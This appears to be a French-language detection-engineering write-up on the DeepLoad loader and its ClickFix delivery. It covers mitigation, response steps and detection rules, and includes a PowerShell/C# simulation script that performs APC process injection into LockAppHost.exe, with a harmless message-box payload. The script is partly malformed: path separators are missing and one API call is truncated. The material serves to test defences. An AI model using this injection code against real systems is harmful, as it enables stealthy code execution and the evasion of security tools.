DeepLoad Malware Explication : Livraison ClickFix et Vol d’Identifiants
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
DeepLoad est un chargeur de logiciels malveillants sans fichier observé pour la première fois en mars 2026 qui se propage par une tactique d’ingénierie sociale connue sous le nom de ClickFix, qui persuade les utilisateurs d’exécuter une commande PowerShell malveillante. Une fois exécuté, le chargeur décrypte sa charge utile en mémoire et l’injecte dans des processus Windows de confiance via des appels de procédures asynchrones. Il déploie ensuite un voleur d’identifiants nommé filemanager.exe avec une extension de navigateur malveillante pour voler les mots de passe enregistrés et enregistrer les frappes de clavier. Le logiciel malveillant peut également se propager via des lecteurs USB en déposant de nombreux fichiers de raccourci qui redémarrent la chaîne d’infection sur un autre système.
Enquête
La recherche décrit la commande initiale utilisée pour récupérer le chargeur PowerShell d’un serveur distant, les techniques d’obfuscation appliquées tout au long de l’exécution, et l’injection de processus basée sur l’APC dans des binaires tels que LockAppHost.exe. Elle décrit également les deux composants distincts de vol d’identifiants et la méthode de mouvement latéral basée sur USB qui utilise des fichiers .lnk déguisés en installateurs de logiciels courants. Le rapport fait également référence à des modules de simulation Picus qui peuvent être utilisés pour tester les défenses contre ce comportement.
Atténuation
Les défenseurs devraient bloquer l’exécution de commandes PowerShell non fiables, surveiller la création de tâches planifiées suspectes et l’utilisation anormale de mshta.exe, et appliquer des contrôles stricts d’exécution pour les scripts PowerShell. La détection de l’injection basée sur l’APC, la surveillance des .lnk fichiers sur les supports amovibles, et la limitation du stockage des identifiants dans le navigateur peuvent tous aider à réduire l’impact. Une protection des terminaux capable d’inspecter le décryptage et le comportement d’injection en mémoire est également recommandée.
Réponse
Si une activité de DeepLoad est détectée, isolez immédiatement le terminal affecté, terminez les processus suspects comme filemanager.exe et tous les binaires de confiance montrant des signes d’injection, et supprimez toutes les tâches planifiées créées par le logiciel malveillant. Réinitialisez les identifiants des comptes compromis, scannez les supports amovibles pour déceler des fichiers de raccourci malveillants, et effectuez une analyse forensique pour identifier tout mécanisme de persistance. Les règles de détection doivent également être mises à jour pour couvrir les modèles de ligne de commande observés et les techniques d’injection.
Flux d’attaque
Détections
Téléchargement ou Téléversement via PowerShell (via commande)
Voir
Connexion HTTP de DeepLoad à une IP malveillante [Connexion réseau Windows]
Voir
Détection de l’injection de processus basée sur APC de DeepLoad [Création de processus Windows]
Voir
Exécution de la commande PowerShell du malware DeepLoad [Windows PowerShell]
Voir
Exécution de la simulation
Prérequis : Le contrôle initial de télémétrie et de base a dû être réussi.
Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et la narration doivent refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.
-
Narration et commandes de l’attaque :
L’attaquant a délivré un script PowerShell malveillant (le « chargeur ») qui s’exécute dans le contexte de l’utilisateur connecté (Exécution de l’utilisateur – T1204). Le chargeur effectue les étapes suivantes :
- Mettre en place la charge utile – écrit un binaire C compilé (la « charge utile ») dans
%TEMP%. - Créer une instance suspendue d’un processus de confiance (
LockAppHost.exe) en utilisantCreateProcessAavec leCREATE_SUSPENDEDdrapeau. - Injecter la charge utile dans le processus suspendu en appelant
WriteProcessMemorypour copier le binaire dans l’espace d’adresse de la cible. - Mettre en file d’attente un APC (
QueueUserAPC) qui pointe vers le point d’entrée de la charge utile, provoquant l’exécution de la charge utile lorsque le thread cible reprend. - Reprendre le thread, complétant l’injection.
Cette séquence exacte génère un seul événement de création de processus pour
LockAppHost.exedont le SysmonChamp CallTracecontient les trois appels d’API liés à l’injection, satisfaisant la règle Sigma. - Mettre en place la charge utile – écrit un binaire C compilé (la « charge utile ») dans
-
Script de test de régression :
# Simulation d'injection par APC de DeepLoad (PowerShell + compilation C# en mémoire) # -------------------------------------------------------------- # 1. Compiler une charge utile C minimale (MessageBox) en un EXE temporaire $payloadSource = @" #include <windows.h> int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow) { MessageBoxA(NULL, "Injecté par DeepLoad", "Succès", MB_OK); return 0; } "@ $tempDir = "$env:TEMPDeepLoadDemo" New-Item -ItemType Directory -Force -Path $tempDir | Out-Null $cFile = "$tempDirpayload.c" $exeFile = "$tempDirpayload.exe" $payloadSource | Set-Content -Path $cFile -Encoding ASCII # Utilisez le compilateur Visual C++ si disponible ; sinon, utilisez Add-Type de PowerShell (crée une DLL, pas un EXE) if (Get-Command cl.exe -ErrorAction SilentlyContinue) { & cl.exe /nologo /O2 /MT $cFile /link /OUT:$exeFile } else { Write-Error "Compilateur C introuvable – compilation manuelle requise." exit 1 } # 2. Préparation de l'injection $targetPath = "C:WindowsSystem32LockAppHost.exe" $STARTUPINFO = New-Object System.Diagnostics.ProcessStartInfo $STARTUPINFO.FileName = $targetPath $STARTUPINFO.Arguments = "" $STARTUPINFO.RedirectStandardOutput = $false $STARTUPINFO.UseShellExecute = $false $proc = New-Object System.Diagnostics.Process $proc.StartInfo = $STARTUPINFO $proc.StartInfo.CreateNoWindow = $true $proc.StartInfo.Verb = "runas" # assurer une élévation si nécessaire # Créer un processus suspendu $pInfo = New-Object System.Diagnostics.ProcessStartInfo $pInfo.FileName = $targetPath $pInfo.Arguments = "" $pInfo.UseShellExecute = $false $pInfo.CreateNoWindow = $true $procStartInfo = [System.Diagnostics.ProcessStartInfo]::new() $procStartInfo.FileName = $targetPath $procStartInfo.Arguments = "" $procStartInfo.UseShellExecute = $false $procStartInfo.CreateNoWindow = $true # Définitions P/Invoke $sig = @" using System; using System.Runtime.InteropServices; public class Native { [DllImport("kernel32.dll", SetLastError=true)] public static extern bool CreateProcessA( string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll", SetLastError=true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll", SetLastError=true)] public static extern uint QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, UIntPtr dwData); [DllImport("kernel32.dll", SetLastError=true)] public static extern uint ResumeThread(IntPtr hThread); public const uint CREATE_SUSPENDED = 0x00000004; public const uint MEM_COMMIT = 0x1000; public const uint PAGE_EXECUTE_READWRITE = 0x40; [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)] public struct STARTUPINFO { public uint cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public ushort wShowWindow; public ushort cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } } "@ Add-Type $sig # Initialiser les structures $si = New-Object Native+STARTUPINFO $pi = New-Object Native+PROCESS_INFORMATION $si.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($si) # Créer LockAppHost suspendu $created = [Native]::CreateProcessA($null, $targetPath, [IntPtr]::Zero, [IntPtr]::Zero, $false, [Native]::CREATE_SUSPENDED, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi) if (-not $created) { Write-Error "CreateProcessA a échoué : $([System.Runtime.InteropServices.Marshal]::GetLastWin32Error())" exit 1 } # Lire le binaire de la charge utile $payloadBytes = [System.IO.File]::ReadAllBytes($exeFile) # Allouer de la mémoire dans la cible $remoteAddr = [Native]::VirtualAllocEx($pi.hProcess, [IntPtr]::Zero, $payloadBytes.Length, if ($remoteAddr -eq [IntPtr]::Zero) { Write-Error "VirtualAllocEx a échoué." exit 1 } # Écrire la charge utile $bytesWritten = [UIntPtr]::Zero $writeOk = [Native]::WriteProcessMemory($pi.hProcess, $remoteAddr, $payloadBytes, $payloadBytes.Length, [ref]$bytesWritten) if (-not $writeOk) { Write-Error "WriteProcessMemory a échoué." exit 1 } # Mettre en file d'attente l'APC (pointant vers le point d'entrée de la charge utile) $apcResult = [Native]::QueueUserAPC($remoteAddr, $pi.hThread, [UIntPtr]::Zero) # Reprendre le thread pour exécuter l'APC [Native]::ResumeThread($pi.hThread) | Out-Null Write-Host "Injection complétée – la charge utile devrait apparaître sous peu." -
Commandes de nettoyage :
# Terminer l'instance LockAppHost injectée (si encore en cours d'exécution) Get-Process -Name "LockAppHost" -ErrorAction SilentlyContinue | Stop-Process -Force # Supprimer les fichiers temporaires Remove-Item -Recurse -Force "$env:TEMPDeepLoadDemo"
Résultats de validation (à remplir après exécution)
- Règle Déclenchée : Oui / Non
- Nombre d’alertes générées : ___
- Vérification des faux positifs : L’exécution bénigne n’a généré aucune alerte (comme confirmé par la requête de validation).
Résumé des recommandations
- Corréler entre les événements – Ajouter une règle secondaire qui surveille les
WriteProcessMemoryorQueueUserAPCévénements se produisant dans un court intervalle de temps après uneLockAppHost.execréation. - Élargir la portée de l’image – Inclure d’autres binaires de confiance couramment abusés pour l’injection APC (par exemple,
svchost.exe,explorer.exe). - Enrichissement comportemental – Signaler les processus qui chargent des DLL non signées ou s’exécutent depuis
%TEMP%après l’injection. - Atténuation de l’évasion – Surveiller les mêmes appels d’API répartis sur plusieurs processus, ce qui passe actuellement à travers la condition d’événement unique.